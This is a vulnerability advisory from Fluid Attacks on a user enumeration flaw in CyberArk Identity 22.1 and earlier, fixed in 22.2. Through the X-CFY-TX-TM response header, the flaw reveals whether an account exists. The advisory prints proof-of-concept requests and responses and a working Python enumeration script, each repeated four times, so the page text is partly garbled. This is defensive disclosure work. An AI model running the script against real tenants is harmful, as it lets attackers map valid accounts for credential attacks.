CyberArk Identity 22.1 - User Enumeration
5,3
Medium
Discovered by

Offensive Team, Fluid Attacks
Summary
Full name
CyberArk Identity 22.1 User Enumeration
Code name
State
Public
Affected product
CyberArk Identity
Affected version(s)
22.1 and below
Fixed version(s)
22.2
Vulnerability name
User Enumeration
Vulnerability type
Remotely exploitable
Yes
CVSS v3.1 vector string
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS v3.1 base score
5.3
Exploit available
Yes
CVE ID(s)
Description
CyberArk Identity versions up to and including 22.1 in the StartAuthentication resource, exposes the response header X-CFY-TX-TM. In certain configurations, that response header contains different, predictable value ranges which can be used to determine wether a user exists in the tenant.
Proof of Concept
A request is sent with a known valid user
Request:
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
Response:
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
In the cases when the user exists, the value of X-CFY-TX-TM is always less than 500.
A request is sent with a non existent user
Request:
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
Response:
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
In the cases when the user does not exist, the value of X-CFY-TX-TM is always above than 1000.
Exploit
The following code was used to enumerate valid users:
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
Credits
The vulnerability was discovered by Andrés Roldán from the Offensive Team of Fluid Attacks.
References
Timeline
Vulnerability discovered
Vendor contacted
Vendor replied
Vulnerability patched
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.





